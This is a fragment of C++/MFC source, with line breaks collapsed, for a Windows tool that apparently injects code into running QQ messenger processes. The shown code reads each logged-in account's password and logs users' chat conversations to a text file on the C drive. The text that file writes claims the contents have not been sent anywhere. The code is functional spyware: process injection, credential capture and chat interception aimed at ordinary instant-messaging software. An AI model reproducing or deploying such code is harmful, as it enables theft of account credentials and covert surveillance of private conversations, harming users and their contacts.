Trace_StrAry ( StrAry_QQProcessInfos ); for ( int i=0; i<StrAry_QQProcessInfos.GetSize(); i++ ) { CStringArray StrAry_InfoItems; PartStringAndAddToStrAry ( StrAry_QQProcessInfos.GetAt(i), _T("\t"), StrAry_InfoItems ); Trace_StrAry ( StrAry_InfoItems ); if ( StrAry_InfoItems.GetSize() == 4 ) { t_QQProcessInfo tQQProcessInfo; tQQProcessInfo.dwPID = atoi_hw ( CleanseString(StrAry_InfoItems.GetAt(0),_T("\"")) ); if ( ProcessIsQQ(tQQProcessInfo.dwPID) ) { // tQQProcessInfo.csLocalQQAccount = CleanseString(StrAry_InfoItems.GetAt(1),_T("\"")); tQQProcessInfo.csLocalQQPassword = CleanseString(StrAry_InfoItems.GetAt(2),_T("\"")); // tQQProcessInfo.csLocalQQNickname = CleanseString(StrAry_InfoItems.GetAt(3),_T("\"")); if ( RemoteInject ( tQQProcessInfo.dwPID, TRUE ) ) { m_Ary_QQProcessInfo.Add ( tQQProcessInfo ); // SetDlgItemText ( IDC_EDIT_LocalQQAccount, tQQProcessInfo.csLocalQQAccount ); SetDlgItemText ( IDC_EDIT_LocalQQPassword, tQQProcessInfo.csLocalQQPassword ); // SetDlgItemText ( IDC_EDIT_LocalQQNickname, tQQProcessInfo.csLocalQQNickname ); // SetDlgItemText ( IDC_EDIT_QQStatus, FormatString(_T("%s %s"), tQQProcessInfo.csLocalQQAccount, _T("已登录") ) ); } } } else { ASSERT ( FALSE ); } } } delete[] pFileData; } file.Close (); } } CATCH( CFileException, e ) { } CATCH_ALL(e) { THROW_LAST (); } END_CATCH_ALL; } // // 检查看看是否所有的QQ账号信息已被调用者接收到了 // void CRemoteThreadMateQQDlg::QQProcessInfoIsReceived () { BOOL bAllIsReceived = TRUE; for ( int i=0; i<m_Ary_QQProcessInfo.GetSize(); i++ ) { t_QQProcessInfo &tQQProcessInfo = m_Ary_QQProcessInfo.GetAt(i); if ( ProcessIsQQ(tQQProcessInfo.dwPID) ) { if ( tQQProcessInfo.csLocalQQAccount.IsEmpty() ) bAllIsReceived = FALSE; } } if ( bAllIsReceived ) { if ( HANDLE_IS_VALID(m_hEvtQQRecreateTray) ) ::ResetEvent ( m_hEvtQQRecreateTray ); ShowLogText ( _T("所有的QQ账号信息已被调用者接收到了\r\n") ); } } void CRemoteThreadMateQQDlg::ShowChatContents() { for ( int i=0; i<m_Ary_QQProcessInfo.GetSize(); i++ ) { t_QQProcessInfo &tQQProcessInfo = m_Ary_QQProcessInfo.GetAt(i); CString csFilename = FormatString(_T("c:\\%s的QQ聊天记录.txt"), tQQProcessInfo.csLocalQQNickname ); DeleteFile ( csFilename ); CString csText = FormatString(_T("这个文件是RemoteThreadMateQQ程序创建的,记录了用户的QQ聊天内容,目前是安全的,没有将这些内容发送出去,请放心 !\r\n\t\t\t——谢红伟(chrys@163.com)\r\n\r\n")); WriteDataToFile ( csFilename, (PUCHAR)csText.GetBuffer(0), sizeof(TCHAR)*csText.GetLength(), _T("ab+") ); if ( tQQProcessInfo.pAry_QQChatContent && tQQProcessInfo.pAry_QQChatContent->GetSize() > 0 ) { CString csChatInfo; for ( int i=0; i<tQQProcessInfo.pAry_QQChatContent->GetSize(); i++ ) { t_QQChatContent &tQQChatContent = tQQProcessInfo.pAry_QQChatContent->GetAt(i); CString csSayer; if ( tQQChatContent.bIsSent ) csSayer.Format(_T("%s 对 %s 说"), tQQProcessInfo.csLocalQQNickname, tQQChatContent.csQQPeerNickname ); else csSayer.Format(_T("%s 对 %s 说"), tQQChatContent.csQQPeerNickname, tQQProcessInfo.csLocalQQNickname ); csChatInfo += FormatString ( _T("[%s] %s\r\n%s\r\n\r\n"), csSayer, ConvertTimeToStr(tQQChatContent.tMsgTime), tQQChatContent.csChatText ); } WriteDataToFile ( csFilename, (PUCHAR)csChatInfo.GetBuffer(0), sizeof(TCHAR)*csChatInfo.GetLength(), _T("ab+") ); ShellExecute ( NULL, _T("open"), csFilename, NULL, NULL, SW_SHOW ); } } } void CRemoteThreadMateQQDlg::InjectThreadWhenFoundNewQQ () { CStringArray StrAry_ProcessName; CUIntArray UIntAry_ProcessID; CStringArray StrAry_ProcessPath; if ( EnumQQProcess ( &StrAry_ProcessName, &UIntAry_ProcessID, &StrAry_ProcessPath ) < 1 ) { return; } ASSERT ( UIntAry_ProcessID.GetSize() == StrAry_ProcessName.GetSize() ); for ( int i=0; i<StrAry_ProcessName.GetSize(); i++ ) { CString csProcessName = StrAry_ProcessName.GetAt ( i ); ASSERT ( csProcessName == _T("qq.exe") ); DWORD dwQQProcessID = UIntAry_ProcessID.GetAt(i); if ( FindFrom__Ary_QQProcessInfo ( dwQQProcessID ) < 0 ) { m_csQQPassword.Empty (); t_QQProcessInfo tQQProcessInfo; tQQProcessInfo.dwPID = dwQQProcessID; if ( RemoteInject ( dwQQProcessID, FALSE ) ) { m_Ary_QQProcessInfo.Add ( tQQProcessInfo ); } } } } BOOL ProcessIsQQ ( DWORD dwPID ) { HANDLE hProcess = OpenProcess ( PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, dwPID ); if ( !hProcess ) return FALSE; CloseHandle ( hProcess ); TCHAR modname[_MAX_PATH] = {0}; CProcessModuleIterator itm(dwPID); HMODULE hModule = itm.First(); if ( !hModule ) return FALSE; GetModuleBaseName ( itm.GetProcessHandle(), hModule, modname, _MAX_PATH ); CString csFileName = PathFindFileName ( modname ); return ( csFileName.CompareNoCase(_T("QQ.exe")) == 0 ); } void CRemoteThreadMateQQDlg::OnBUTTONTest() { CStringArray StrAry_ProcessName; CUIntArray UIntAry_ProcessID; CStringArray StrAry_ProcessPath; if ( EnumQQProcess ( &StrAry_ProcessName, &UIntAry_ProcessID, &StrAry_ProcessPath ) < 1 ) { AfxMessageBox ( _T("没有发现QQ进程") ); return; } m_pQQMate = new CQQMate(UIntAry_ProcessID.GetAt(0),_T("")); if ( m_pQQMate ) { m_pQQMate->Init(); } }